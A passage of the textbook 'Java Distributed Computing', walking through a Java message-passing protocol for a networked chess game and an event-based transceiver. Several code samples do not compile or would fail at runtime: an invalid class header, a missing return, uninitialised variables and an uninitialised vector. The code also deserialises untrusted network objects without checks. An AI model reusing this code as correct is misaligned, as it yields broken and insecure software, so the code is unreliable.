    System.out.println("Got message type \"" + msgId + "\"");

    if (msgId.compareTo("move") == 0) {
      msg = new MoveMessage(player);
    }
    else if (msgId.compareTo("confirm") == 0) {
      msg = new ConfirmMoveMessage(player);
    }
    else if (msgId.compareTo("reject") == 0) {
      msg = new RejectMoveMessage(player);
    }
    else if (msgId.compareTo("concede") == 0) {
      msg = new ConcedeMessage(player);
    }

    return msg;
  }
}

To see the chess message protocol in action, let's walk through a hypothetical game played between two players on the network. First, the two processes containing the player objects need to establish a socket connection with corresponding input/output streams. (We won't show the details of this, since we've already seen some examples of creating socket connections, and there's nothing new or exciting about this one.) Once the socket connection is made, each player process passes the input and output streams from the socket to the constructor for a ChessServer. The ChessServer constructor passes the input and output streams to the BasicMsgHandler constructor, then creates a local ChessPlayer object. One of the player processes (let's call it the "white" player) starts the game by requesting a move from the ChessPlayer, wraps the move into a MoveMessage object, and tells the ChessServer to send the message by calling its sendMsg() method with the message object. A section of code like the following is used:

// Create the server and get the local player object
ChessServer server = new ChessServer(ins, outs);
ChessPlayer player = server.getPlayer();

// Get the player's first move, and generate a move message
String from, to;
int checkFlag;
player.nextMove(from, to, checkFlag);
MoveMessage mmsg = new MoveMessage(from, to, checkFlag);

// Send the move message to the opponent
server.sendMsg(mmsg);

The opponent player process (the "black" player) can start off by wrapping its ChessServer in a Thread and calling its run() method, causing it to enter its message-reading loop. The black player receives the move message from the white player, converts the message into a MoveMessage object, then calls the Do() method on the message object. The Do() method on MoveMessage takes the move from the white player and passes it to the black ChessPlayer through its acceptMove() method. If the black ChessPlayer accepts the move, then a ConfirmMoveMessage is constructed and returned to the white player to signal that the move has been accepted. The white player's ChessServer will receive the confirmation message, and the Do() method on the ConfirmMoveMessage object will tell the white player that its last move was accepted. If the white player's move was a checkmate, then a ConcedeMessage is also constructed and sent to the white player. If not, then the black player is asked for its countermove, and it's sent as a MoveMessage to the white player. The black player's ChessServer then waits for a confirmation or rejection of the move from the white player.

If the white player's first move was not accepted by the black player, then a RejectMoveMessage is constructed and sent to the white player. The white player's ChessServer receives the rejection message, converts it into a local RejectMoveMessage object, and the message's Do() method asks the white player for another move. If a new move is given, it is wrapped in a MoveMessage object and sent back to the black player. If not, this is taken as a concession of the game, and a ConcedeMessage object is constructed to send a concede message to the black player.

This message passing continues until one of the players receives and accepts a checkmate move and concedes the game, or until one of the players fails to generate a countermove, which acts as a forfeit of the game.

6.4.1. Heterogeneous Argument Lists

This message-passing example was kept simple by avoiding some of the common issues that arise even with fixed message protocols. The messages in the chess protocol consist only of string tokens, delimited by a set of special characters. This allowed us to define a single readMsg() method on our BasicMsgHandler class that we could reuse in our chess game example. It also allowed us to represent all message arguments using a list of strings in our BasicMessage class. If we know that every message is a sequence of strings ending with a special "end-of-message" string, then we can read and store each message from the input stream in the same way, without knowing what type of message was being read. This is just what the readMsg() method does--after checking the message identifier in the buildMessage() method to see which message object to create, readMsg() reads each message from the input stream the same way:

while (!msgEnd) {
    token = din.readUTF();
    if (token.compareTo(msgEndToken) == 0)
        msgEnd = true;
    else {
        msg.addArg(token);
    }
}

Typically, we can't be this simplistic, since messages may need to contain data of various types. Actually, we didn't completely escape this issue; notice that the "move" message has an argument (the "checkFlag" argument) that is supposed to be an integer, not a string. We got around the limitation of our message-passing facility by converting the integer to a string on sending the message, and then converting back to an integer on the receiving end.

In order to add the ability to send and receive heterogeneous argument lists on messages, we would need to update our message-passing facility so that each message class reads and converts its own arguments from the input stream. Another option would be to have BasicMsgHandler convert the arguments to their proper types in its readMsg() method. This could be done by having the readMsg() method know the format of all of the message types the BasicMsg-Handler supports. This would put the entire protocol definition in the BasicMsgHandler class, which makes updating the message protocol more difficult. Overall, having the message objects parse their own arguments leaves our message-passing facility more flexible for future changes.

Example 6-6 shows a new version of the BasicMessage class that handles heterogeneous argument lists. The argument list is still implemented using a Vector, but the Vector now contains references to Objects rather than Strings. Message arguments are offered and accepted by the new BasicMessage class as Objects as well.

Example 6-6. Updated Basic Message Class

package dcj.examples.messageV2;

import java.util.Vector;
import java.io.*;

abstract class BasicMessage
{
  protected String id;
  protected Vector argList;
  String endToken = "END";

  public BasicMessage() {
    argList = new Vector();
  }

  public BasicMessage(String mid) {
    id = mid;
    argList = new Vector();
  }

  protected void setId(String mid) {
    id = mid;
  }

  public void addArg(Object arg) {
    argList.addElement(arg);
  }

  public String messageID() {
    return id;
  }

  public Vector argList() {
    Vector listCopy = (Vector)argList.clone();
    return listCopy;
  }

  public boolean readArgs(InputStream ins) {
    boolean success = true;
    DataInputStream din = new DataInputStream(ins);

    // Read tokens until the "end-of-message" token is seen.
    try {
      String token = din.readUTF();
      while (token.compareTo(endToken) != 0) {
        addArg(token);
        token = din.readUTF();
      }
    }
    catch (IOException e) {
      // Failed to read complete argument list.
      success = false;
    }
    return success;
  }

  public boolean writeArgs(OutputStream outs) {
    int len = argList.size();
    boolean success = true;
    DataOutputStream dout = new DataOutputStream(outs);

    // Write each argument in order
    try {
      for (int i = 0; i < len; i++) {
        String arg = (String)argList.elementAt(i);
        dout.writeUTF(arg);
      }

      // Finish with the end-of-message token
      dout.writeUTF(endToken);
    }
    catch (IOException e) {
      success = false;
    }
    return success;
  }

  public abstract String Do();
}

To allow message objects to parse their own arguments, BasicMessage has two additional methods: readArgs() and writeArgs(). The readArgs() method takes an InputStream as its only argument, and is meant to read the arguments for the message from the InputStream. The default implementation of readArgs() provided on the BasicMessage class is stolen from the readMsg() method from the original BasicMsgHandler class; it treats the incoming message as a sequence of string tokens ending with a known "end-of-message" token. The writeArgs() method takes an OutputStream as an argument, and writes the message arguments to the output stream. The default implementation is copied from the sendMsg() method from the original BasicMsgHandler; it converts each argument to a String and writes it to the output stream. The "end-of-message" token is sent after the message arguments to mark the end of the message.

The message classes for our chess protocol need to be updated to match the new BasicMessage class. The most significant changes are to the MoveMessage and ConfirmMoveMessage classes, since they now need to provide their own implementations of the readArgs() and writeArgs() methods. Example 6-7 shows the updated MoveMessage class. Its readArgs() method reads the arguments defining the chess move ( from and to strings, and a check/checkmate flag) from the InputStream, and its writeArgs() method writes the same arguments to the OutputStream.

Example 6-7. Updated MoveMessage Class

class MoveMessage extends ChessMessage {
  public MoveMessage(ChessPlayer p) {
    super(p);
    setId("move");
  }

  public MoveMessage(String from, String to, int checkFlag) {
    setId("move");
    addArg(from);
    addArg(to);
    addArg(new Integer(checkFlag));
  }

  public boolean Do() {
    boolean success = true;
    BasicMsgHandler handler = BasicMsgHandler.current;

    String from = (String)argList.elementAt(0);
    String to = (String)argList.elementAt(1);
    Integer checkInt = (Integer)argList.elementAt(2);
    int checkFlag = checkInt.intValue();

    try {
      if (!player.acceptMove(from, to, checkFlag)) {
        handler.sendMsg(new RejectMoveMessage());
      }
      else {
        ConfirmMoveMessage ccmsg =
          new ConfirmMoveMessage(from, to, checkFlag);
        handler.sendMsg(ccmsg);

        // We accepted the opponent's move, now send them
        // our countermove, unless they just mated us...
        if (checkFlag == ChessPlayer.CHECKMATE) {
          ConcedeMessage cmsg = new ConcedeMessage();
          handler.sendMsg(cmsg);
        }
        else {
          player.nextMove(from, to, checkFlag);
          MoveMessage mmsg = new MoveMessage(from, to, checkFlag);
          handler.sendMsg(mmsg);
        }
      }
    }
    catch (IOException e) {
      success = false;
    }
    return success;
  }

  public boolean readArgs(InputStream ins) {
    boolean success = true;

    DataInputStream din = new DataInputStream(ins);

    try {
      String from = din.readUTF();
      addArg(from);
      String to = din.readUTF();
      addArg(to);
      int checkFlag = din.readInt();
      addArg(new Integer(checkFlag));

      // Got all of our arguments, now watch for the
      // end-of-message token
      String temp = din.readUTF();
      while (temp.compareTo(endToken) != 0) {
        temp = din.readUTF();
      }
    }
    catch (Exception e) {
      success = false;
    }

    return success;
  }

  public boolean writeArgs(OutputStream outs) {
    boolean success = true;
    DataOutputStream dout = new DataOutputStream(outs);

    String from = (String) argList.elementAt(0);
    String to = (String)argList.elementAt(1);
    Integer tmpInt = (Integer)argList.elementAt(2);
    int checkFlag = tmpInt.intValue();

    try {
      dout.writeUTF(from);
      dout.writeUTF(to);
      dout.writeInt(checkFlag);
      dout.writeUTF(endToken);
    }
    catch (IOException e) {
      success = false;
    }
    return success;
  }
}

The only change required to the BasicMsgHandler class is to update its readMsg() and sendMsg() methods to delegate the reading and writing of arguments to the message objects they create:

public BasicMessage readMsg() throws IOException {
    BasicMessage msg;
    String token;
    DataInputStream din = new DataInputStream(msgIn);

    // Get message ID and build corresponding BasicMessage
    token = din.readUTF();
    msg = buildMessage(token);

    // Tell message to read its args
    if (msg != null && msg.readArgs(msgIn))
      return msg;
    else
      return null;
}
public void sendMsg(BasicMessage msg) throws IOException {
    boolean success = true;
    DataOutputStream dout = new DataOutputStream(msgOut);
    // Send message ID
    dout.writeUTF(msg.messageID());
    // Tell message to send its arguments
    msg.writeArgs(msgOut);
}

6.4.2. Objects as Message Arguments

With this new version of our message-passing facility, we can define message types that have arguments of any data type that can be transmitted over an I/O stream. We can even use the object serialization facility built into the Java I/O package to use objects as message arguments.

Suppose we define an object to represent a chess move in our chess protocol example. Example 6-8 shows a ChessMove class that encapsulates in a single object the from, to, and checkFlag arguments corresponding to a chess move. We can easily alter our MoveMessage and ConfirmMoveMessage classes to use a ChessMove object as its single message argument. The updated MoveMessage class is shown in Example 6-9. The readArgs() and writeArgs() methods now use ObjectInputStreams and ObjectOutputStreams to read and write the ChessMove argument over the network.

Example 6-8. A ChessMove Class

package dcj.examples.messageV2;

class ChessMove {
  String fromPos;
  String toPos;
  int checkFlag;

  public ChessMove(String from, String to, int ckFlag) {
    fromPos = from;
    toPos = to;
    checkFlag = ckFlag;
  }

  public String from() {
    return fromPos;
  }

  public String to() {
    return toPos;
  }

  public int checkFlag() {
    return checkFlag;
  }
}

Example 6-9. A MoveMessage Class with Object Argument

class MoveMessage extends ChessMessage {
  public MoveMessage(ChessPlayer p) {
    super(p);
    setId("move");
  }

  public MoveMessage(String from, String to, int checkFlag) {
    setId("move");
    ChessMove move = new ChessMove(from, to, checkFlag);
    addArg(move);
  }

  public String Do() {
    BasicMsgHandler handler = BasicMsgHandler.current;
    ChessMove move = (ChessMove)argList.elementAt(0);

    if (!player.acceptMove(move.from(), move.to(), move.checkFlag())) {
      handler.sendMsg(new RejectMoveMessage());
    }
    else {
      ConfirmMoveMessage ccmsg =
        new ConfirmMoveMessage(move.from(), move.to(), move.checkFlag());
      handler.sendMsg(ccmsg);

      // We accepted the opponent's move, now send them
      // our countermove, unless they just mated us...
      if (checkFlag == ChessPlayer.CHECKMATE) {
        ConcedeMessage cmsg = new ConcedeMessage();
        handler.sendMsg(cmsg);
      }
      else {
        String from, to;
        int checkFlag;
        player.nextMove(from, to, checkFlag);
        MoveMessage mmsg = new MoveMessage(from, to, checkFlag);
        handler.sendMsg(mmsg);
      }
    }
  }

  public boolean readArgs(InputStream ins) {
    boolean success = true;

    DataInputStream din = new DataInputStream(ins);
    ObjectInputStream oin = new ObjectInputStream(ins);

    try {
      ChessMove move = (ChessMove)oin.readObject();
      addArg(move);

      // Got all of our arguments, now watch for the
      // end-of-message token
      String temp = din.readUTF();
      while (temp.compareTo(endToken) != 0) {
        temp = din.readUTF();
      }
    }
    catch (Exception e) {
      success = false;
    }

    return success;
  }

  public boolean writeArgs(OutputStream outs) {
    boolean success = true;
    DataOutputStream dout = new DataOutputStream(outs);
    ObjectOutputStream oout = new ObjectOutputStream(outs);
    ChessMove move = (ChessMove)argList.elementAt(0);

    try {
      oout.writeObject(move);
      dout.writeUTF(endToken);
    }
    catch (IOException e) {
      success = false;
    }
    return success;
  }
}
Previous | Home | Next
6.3. Message Processing | Book Index | 6.5. Adaptable Protocols
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Adaptable Protocols (Java Distributed Computing)

 Java Distributed Computing Search this book

6.5. Adaptable Protocols

There are situations where an application's message protocol may change while the application is running. First we'll examine the ways in which a message protocol can vary during runtime, then we'll see how our message-passing facility would need to be modified to support these adaptable message protocols.

6.5.1. Variable Number of Arguments

The most common situation encountered in message passing is a message whose argument list varies in length. Some arguments are actually lists of values, whose size is not known by the receiver beforehand. A multiuser server may provide a way to ask for its current list of users, for example. Optional arguments are another cause for variable-length argument lists. Continuing with the multiuser server example, a request for its list of current users may be a message with some optional arguments that control how much data is returned. A "verbose" argument may indicate that the caller wants all available information on the current users. When this argument is not present, a more condensed set of data is returned.

These possibilities imply that the recipient of a message may require information on the number of arguments to expect. In our previous examples, the message objects handling incoming messages were hardwired to expect a given number of messages, with each argument always having the same meaning. The readArgs() method on MoveMessage in Example 6-7 reads in the expected argument list, then waits for the end-of-message string. If any additional arguments were included with the message, they would be skipped over in the while loop that searches for the end of the message. If an argument were left off of the message, then the end-of-message token would be read in (erroneously) as the last message argument, and readArgs() would wait for another end-of-message token. If the remote agent sends another message, its contents would be skipped and the end-of-message token would trigger an exit from the readArgs() method. If the remote agent is waiting for a response before sending another message, then communications would be deadlocked at this point--the receiver would be waiting for an end-of-message token that it had already read, and the sender would be waiting for the receiver to process the message and send a response.

6.5.2. Variable Message Argument Types

Occasionally the data types of a message's arguments can vary as well. A message meant to request information about a bank account, for example, may identify the account using a numeric account number, or may be allowed to specify the account by name (e.g., "JSmith-savings-1"). The receiver would need to know which form of the argument is being used so that an integer value isn't read as a string, or vice versa. In our chess game example, suppose that, after updating our protocol to use ChessMove objects as arguments, we still wanted to support earlier versions of the message protocol that used three separate arguments to represent a chess move. The same message identifier could now be followed by either a single serialized object, or two strings followed by an integer. The MoveMessage class would need to have some indication of which data types to expect in order to decode the data on the input stream.

6.5.3. Adaptable Message Types

There are times when the message types in the protocol may change at runtime. Perhaps the agents need to negotiate a suitable protocol that both can support before engaging in a conversation. These protocol negotiations are fairly common in complex multimedia protocols, or in some network services protocols. A server or a client may not support the entire protocol, or may require different protocol dialects for backwards compatibility.

Another application for adaptable message protocols is in distributed services that need to be highly reliable and cannot be shut down for any significant period of time. If an update to the message protocol for such a service is required, it would ideally be added to the system while it is online.

6.5.4. An Adaptable Message Handler

One way to deal with variable-length argument lists and variable-type arguments is to tag each message argument in a message with information about its type. We could define a set of argument type identifiers, one for each data type that we are going to support in our message protocol, and precede each argument with its type identifier when we send it. We could include basic data types (e.g., integer, floating-point, character, string), as well as more complex data types (e.g., lists of basic data types). This would help to both identify and verify the type of incoming arguments. Having lists of basic data types helps us deal with variable-length argument lists. If we also include a message argument count, sent over the network before the actual arguments, we can deal with optional arguments and many of the other situations leading to variable argument lists.

These measures would help us implement more robust message protocols, but they come with a price. Tagging each argument with a type identifier complicates the process of updating a message protocol. If we decide in the future to change an argument to be of a type not previously used in our protocol, then we not only have to update the corresponding message classes on all of our networked agents, we also have to update the table of type identifiers to include the new data type. Also, this type identification information, as well as the argument count information, add overhead. The overhead is generally insignificant, but in bandwidth-restricted situations, it may be enough to be a problem.

Dealing with a message protocol with varying message types requires a bit more sophistication. Strange as it may seem, the easiest case to handle is one where the entire message protocol changes during an application's lifetime. In situations like this, we simply need to disable one BasicMsgHandler, and create another using the same input and output streams. Of course, we would need to know precisely when messages belonging to the new protocol would start coming in. If we are running the BasicMsgHandler within its own thread, we just need to call the thread's stop() method, wrap the new BasicMsgHandler with a new thread, and start() the thread.

The same approach can be used if a modified version of the current protocol is expected to take over in midstream. If we have two separate subclasses of BasicMsgHandler implemented for the two protocol variants, then we just have to follow the process sketched out above to switch from one to the other.

A tougher situation occurs when we periodically want to add message types to the current protocol. We may not know beforehand which message types will be needed while the application is running, which would mean that we couldn't create a message-handler subclass to support all possible message types. A particular message protocol may need to be augmented with additional message types after two agents finish negotiating the details of the protocol they will use. Or we may want to provide a more generic message management facility, where multiple sub-systems can add their own message types to the protocol. A manufacturing data management system, for example, may use a message protocol that includes messages for a machine diagnostic system, a machine scheduling algorithm, and an automatic material ordering system. Each subset of the message protocol may need to be refined and updated as the system (and the factory) evolves and grows, and while the system remains continuously operational.

To support situations like these, our message-processing facility needs to be expanded to allow adding individual message types and groups of message types at runtime. Example 6-10 shows the final version of our BasicMsgHandler, renamed MessageHandler, which has been updated to support these requirements. The MessageHandler now has a vector of Message objects that act as prototype messages in the message protocol. New message types can be added to the handler by calling the MessageHandler's addMessageType() method with a prototype Message object of the new type.

Example 6-10. The Message Handler Class

package dcj.util.message;

import java.util.Vector;
import java.io.*;

public class MessageHandler implements Runnable
{
  // A global MessageHandler, for applications where one central
  // handler is used.
  public static MessageHandler current = null;

  InputStream msgIn;
  OutputStream msgOut;
  Vector msgPrototypes;

  public MessageHandler() {}
  public MessageHandler(InputStream in, OutputStream out) {
    setStreams(in, out);
  }

  public void setStreams(InputStream in, OutputStream out) {
    msgIn = in;
    msgOut = out;
  }

  public void addMessageType(Message prototype) {
    msgPrototypes.addElement(prototype);
  }

  public Message readMsg() throws IOException {
    Message msg = null;
    DataInputStream din = new DataInputStream(msgIn);

    String msgId = din.readUTF();
    msg = buildMessage(msgId);
    if (msg != null && msg.readArgs(msgIn)) {
      return msg;
    }
    else {
      return null;
    }
  }

  public void sendMsg(Message msg) throws IOException {
    boolean success = true;
    DataOutputStream dout = new DataOutputStream(msgOut);

    dout.writeUTF(msg.messageID());
    msg.writeArgs(msgOut);
  }

  public void run() {
    try {
      while (true) {
        Message msg = readMsg();
        if (msg != null) {
          msg.Do();
        }
      }
    }
    // Treat an IOException as a termination of the message
    // exchange, and let this message-processing thread die.
    catch (IOException e) {}
  }

  protected Message buildMessage(String msgId) {
    Message msg = null;
    int numMTypes = msgPrototypes.size();
    for (int i = 0; i < numMTypes; i++) {
      Message m = (Message)msgPrototypes.elementAt(i);
      if (m.handles(msgId)) {
        msg = m.newCopy();
        break;
      }
    }
    return msg;
  }
}

The Message class referenced in the MessageHandler interface is a slightly modified version of our BasicMessage class, and is shown in Example 6-11. This new version of the message class includes a handles() method and a newCopy() method. After the MessageHandler reads a message identifier in its readMsg() method, it calls its buildMessage() method to construct the message object corresponding to the identifier. The buildMessage() method sequentially calls the handles() method on each Message object in the prototype list to see whether the Message recognizes the message identifier. If handles() returns true, a copy of the prototype message is made to handle the incoming message. The newCopy() method on Message returns a new Message object of the same type as the Message on which it is called. The new Message object is returned to MessageHandler's readMsg() method, where it is told to read its arguments from the input stream as before.

Example 6-11. The Message Class

package dcj.util.message;

import java.io.*;
import java.util.Vector;

public abstract class Message
{
  protected String id;
  protected Vector argList;
  protected String endToken = "END";

  public Message() {
    argList = new Vector();
  }

  public Message(String mid) {
    id = mid;
    argList = new Vector();
  }

  protected void addArg(Object arg) {
    argList.addElement(arg);
  }

  public String messageID() {
    return id;
  }

  public void setId(String mid) {
    id = mid;
  }

  public Vector argList() {
    Vector listCopy = (Vector)argList.clone();
    return listCopy;
  }

  public boolean readArgs(InputStream ins) {
    boolean success = true;
    DataInputStream din = new DataInputStream(ins);

    // Read tokens until the "end-of-message" token is seen.
    try {
      String token = din.readUTF();
      while (token.compareTo(endToken) != 0) {
        addArg(token);
        token = din.readUTF();
      }
    }
    catch (IOException e) {
      // Failed to read complete argument list.
      success = false;
    }
    return success;
  }

  public boolean writeArgs(OutputStream outs) {
    int len = argList.size();
    boolean success = true;
    DataOutputStream dout = new DataOutputStream(outs);

    // Write each argument in order
    try {
      for (int i = 0; i < len; i++) {
        String arg = (String)argList.elementAt(i);
        dout.writeUTF(arg);
      }

      // Finish with the end-of-message token
      dout.writeUTF(endToken);
    }
    catch (IOException e) {
      success = false;
    }
    return success;
  }

  public abstract boolean Do();
  public abstract boolean handles(String msgId);
  public abstract Message newCopy();
}

With this final version of our message-passing and message-processing facility, we're able to define types of messages by creating subclasses of the Message class that can read the message with its arguments and perform the proper task based on the contents of the message. We can define complete message protocols in several ways using the MessageHandler class. A subclass of MessageHandler can be defined that recognizes the various message identifiers in the protocol directly in its buildMessage() method. A MessageHandler subclass could also be written that automatically adds the needed Message prototypes to its internal list, and then uses the default buildMessage() implementation to ask each Message object if it recognizes an incoming message's type. A third option, made possible by the fact that MessageHandler now has no abstract methods, is for a distributed application to construct a generic MessageHandler object, then add the necessary Message prototypes to the generic MessageHandler using its addMessageType() method. The buildMessage() method would then be able to create Message objects corresponding to the incoming messages.

The techniques we discussed earlier for handling variable argument lists and argument types can also be applied within our new message-handling system. A new implementation of the MoveMessage class from our chess examples demonstrates this in Example 6-12. The class has been modified to allow it to support two versions of the message argument list: one uses the from, to, and checkFlag arguments, and another uses a serialized ChessMove object. The message includes an optional new string argument that indicates whether the chess move is being sent as a ChessMove object. The readArgs() method reads the first argument as a string, then checks the string's value. If the string's value is equal to "MOBJ," then the chess move argument is being sent as a ChessMove object, and an ObjectInputStream is used to read it. If not, then the chess move is being sent in the older format of two strings and an integer, and the DataInputStream is used to read the remaining arguments. The writeArgs() method sends out the new argument, then transmits its chess move as a serialized ChessMove object.

Example 6-12. Backwards Compatible MoveMessage Class

class MoveMessage extends ChessMessage {
  public MoveMessage(ChessPlayer p) {
    super(p);
    setId("move");
  }

  public MoveMessage(String from, String to, int checkFlag) {
    setId("move");
    ChessMove move = new ChessMove(from, to, checkFlag);
    addArg(move);
  }

  public boolean Do() {
    boolean success = true;
    ChessMove move = (ChessMove)argList.elementAt(1);
    String to = move.to();
    String from = move.from();
    int checkFlag = move.checkFlag();

    try {
      if (!player.acceptMove(from, to, checkFlag)) {
        MessageHandler.current.sendMsg(new RejectMoveMessage());
      }
      else {
        ConfirmMoveMessage ccmsg =
          new ConfirmMoveMessage(move);
        MessageHandler.current.sendMsg(ccmsg);

        // We accepted the opponent's move, now send them
        // our countermove, unless they just mated us...
        if (checkFlag == ChessPlayer.CHECKMATE) {
          ConcedeMessage cmsg = new ConcedeMessage();
          MessageHandler.current.sendMsg(cmsg);
        }
        else {
          player.nextMove(from, to, checkFlag);
          MoveMessage mmsg = new MoveMessage(from, to, checkFlag);
          MessageHandler.current.sendMsg(mmsg);
        }
      }
    }
    catch (IOException e) {
      success = false;
    }

    return success;
  }

  public boolean readArgs(InputStream ins) {
    boolean success = true;

    DataInputStream din = new DataInputStream(ins);

    try {
      String temp = din.readUTF();
      if (temp.compareTo("MOBJ") == 0) {
        ObjectInputStream oin = new ObjectInputStream(ins);
        ChessMove move = (ChessMove)oin.readObject();
        addArg(move);
      }
      else {
        String to = din.readUTF();
        int checkFlag = din.readInt();
        ChessMove move = new ChessMove(temp, to, checkFlag);
        addArg(move);
      }

      // Got all of our arguments, now watch for the
      // end-of-message token
      temp = din.readUTF();
      while (temp.compareTo(endToken) != 0) {
        temp = din.readUTF();
      }
    }
    catch (Exception e) {
      success = false;
    }

    return success;
  }

  public boolean writeArgs(OutputStream outs) {
    boolean success = true;
    DataOutputStream dout = new DataOutputStream(outs);
    ObjectOutputStream oout = new ObjectOutputStream(outs);
    ChessMove move = (ChessMove)argList.elementAt(0);

    try {
      dout.writeUTF("MOBJ");
      oout.writeObject(move);
    }
    catch (IOException e) {
      success = false;
    }

    return success;
  }

  public boolean handles(String mid) {
    if (mid.compareTo("move") == 0)
      return true;
    else
      return false;
  }

  public Message newCopy() {
    return(new MoveMessage(player));
  }
}

With this version of our MoveMessage class, we can talk to ChessPlayer agents using either the new or old versions of the class. We could have handled the variable argument list by adding an argument count to the argument list, but then our previous version of the MoveMessage class would also have to be modified to send the new argument. This would defeat the purpose, since our original intent was to provide backwards compatibility with the previous version of our chess protocol.

Previous | Home | Next
6.4. Fixed Protocols | Book Index | 6.6. Message Passing with Java Events
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Message Passing with Java Events (Java Distributed Computing)

 Java Distributed Computing Search this book

6.6. Message Passing with Java Events

During the course of this chapter, we've built up our own message-handling framework from scratch, relying on basic sockets, I/O streams, and object serialization to implement a protocol for sending, receiving, and handling messages. In this section, we'll look at merging a message-passing framework with the Java event model that's used in the AWT package for handling GUI events. The advantage of using events is the possibility of integrating your distributed system with other systems based on the Java event model, including AWT-based applications or applets.

6.6.1. Event Model Overview

The event model included in the Java API (version 1.1 and later) is generic enough to build event-handling protocols for general applications, not just GUI-related ones. The Java event model is based on EventObjects that are created by various event sources and handled by classes that implement an EventListener interface.

Different types of events are defined by creating subclasses of the EventObject class. The EventObject class only contains a source Object. Subclasses of EventObject can add additional data to represent event specifics. For example, the AWT package defines a KeyEvent subclass that represents keyboard events. The KeyEvent class contains data fields that specify which key was pressed to generate the event.

The Java event model is called a delegation model; events are generated by a source of some kind, and EventListeners register themselves with the event source to handle specific types of events. When an event arrives, the event source delegates the handling of the event to the EventListeners registered with it. The Java AWT package uses this event model by defining various GUI components that are sources of user events. User events are modeled as subclasses of EventObject. Various types of EventListeners are registered with the GUI components to receive specific user event types, like mouse events, keyboard events, etc.

6.6.2. Distributed Events

In our case, we want to send and receive events over a network between distributed agents. For each node in our distributed system, we'll need to receive messages in the form of events from one or many remote agents, and we'll need to send messages to other agents. One model to use in building this event-based message-passing system is to follow the lead of our previous message-handler examples, and have event " transceivers" at each node in the system. For the local node, these event transceivers would act as both sources of events and as event handlers or listeners, passing local events to remote agents.

Along these lines, we have the EventTransceiver class shown in Example 6-13. This class connects itself to a single remote agent to exchange events with it. This limited form of an event transceiver will be sufficient to implement an event-based version of our chess-playing example. We'll leave it to the reader to extend this class to handle multiple remote agents.

Example 6-13. An Event Transceiver

package dcj.util.message;

import java.util.*;
import java.net.*;
import java.io.*;

public class EventTransceiver implements EventHandler extends Thread {
  // A hashtable of handlers for specific events
  private Hashtable handlers = new Hashtable();
  // A list of handlers that want all events
  private Vector globalHandlers = new Vector();

  // Our connection to a remote agent
  InputStream evIn = null;
  OutputStream evOut = null;

  public EventTransceiver(String host, int port) {
    try {
      InetAddress a = InetAddress.getByName(host);
      connect(a, port);
    }
    catch (Exception e) {}
  }

  public EventTransceiver(InetAddress a, int port) {
    connect(a, port);
  }

  void connect(InetAddress a, int port) {
    try {
      Socket s = new Socket(a, port);
      evIn = s.getInputStream();
      evOut = s.getOutputStream();
    }
    catch (Exception e) {
      evIn = null;
      evOut = null;
    }
  }

  public EventTransceiver(InputStream in, OutputStream out) {
    setStreams(in, out);
  }

  void setStreams(InputStream in, OutputStream out) {
    evIn = in;
    evOut = out;
  }

  public void sendEvent(EventObject ev) throws IOException {
    ObjectOutputStream oout = new ObjectOutputStream(evOut);
    oout.writeObject(ev);
  }

  EventObject receiveEvent() throws IOException {
    ObjectInputStream oin = new ObjectInputStream(evIn);
    EventObject ev = null;
    try {
      ev = (EventObject)oin.readObject();
    }
    catch (ClassCastException e) {
      System.out.println("Non-event object sent to EventTransceiver");
    }
    catch (ClassNotFoundException e2) {
      System.out.println(
        "Unresolvable object type sent to EventTransceiver");
    }

    return ev;
  }

  void distributeEvent(EventObject ev) {
    // Send event to all "global" handlers
    Enumeration e = globalHandlers.elements();
    while (e.hasMoreElements()){
      EventHandler h = (EventHandler)e.nextElement();
      h.handleEvent(ev);
    }

    // Send event to handlers targeting the event's class
    Class evClass = ev.getClass();
    Vector evHandlers = (Vector)handlers.get(evClass);
    e = evHandlers.elements();
    while (e.hasMoreElements()) {
      EventHandler h = (EventHandler)e.nextElement();
      h.handleEvent(ev);
    }
  }

  // No default behavior for handling events...
  public void handleEvent(EventObject e) {}

  // Register a handler that wants all events.
  public void addHandler(EventHandler eh) {
    if (!globalHandlers.contains(eh)) {
      globalHandlers.addElement(eh);
    }
  }

  // Register a handler for a specific type of event
  public void addHandler(EventHandler eh, EventObject e) {
    Class eClass = e.getClass();
    addHandler(eh, eClass);
  }

  public void addHandler(EventHandler eh, Class ec) {
    Vector evHandlers = (Vector)handlers.get(ec);
    if (evHandlers == null) {
      evHandlers = new Vector();
      handlers.put(ec, evHandlers);
    }
    if (!evHandlers.contains(eh)) {
      evHandlers.addElement(eh);
    }
  }

  // Remove a handler from all lists
  public void removeHandler(EventHandler eh) {
    globalHandlers.removeElement(eh);
    Enumeration ecList = handlers.keys();
    while (ecList.hasMoreElements()) {
      Vector evHandlers =
        (Vector)handlers.get(ecList.nextElement());
      if (evHandlers != null) {
        evHandlers.removeElement(eh);
      }
    }
  }

  // Remove a handler for a specific event type
  public void removeHandler(EventHandler eh, EventObject e) {
    removeHandler(eh, e.getClass());
  }

  public void removeHandler(EventHandler eh, Class ec) {
    Vector evHandlers = (Vector)handlers.get(ec);
    if (evHandlers != null) {
      evHandlers.removeElement(eh);
    }
  }

  // If run as an independent thread, just loop listening
  // for events from the remote agent, and distribute them
  // to registered handlers
  public void run() {
    try {
      while (true) {
        EventObject e = receiveEvent();
        if (e != null)
          distributeEvent(e);
      }
    }
    // Treat an IOException as termination of the event
    // input stream, and let this handler thread die
    catch (IOException e) {}
  }
}

The EventTransceiver class extends an EventHandler interface, which is an extension of the java.util.EventListener interface that adds a handleEvent() method (see Example 6-14). The EventTransceiver maintains its connection to a remote agent as an I/O stream pair. It has two constructors that take arguments specifying a remote agent to which to connect: one uses a hostname and port number, the other uses an InetAddress and port number. These two constructors use the host and port information to open a socket to the remote agent and get the InputStream and OutputStream from the socket. A third constructor accepts an InputStream and OutputStream that are preconnected to a source and destination for events, respectively.

Example 6-14. EventHandler Interface

package dcj.util.message;

import java.util.EventListener;
import java.util.EventObject;

public interface EventHandler extends EventListener {
  public void handleEvent(EventObject e);
}

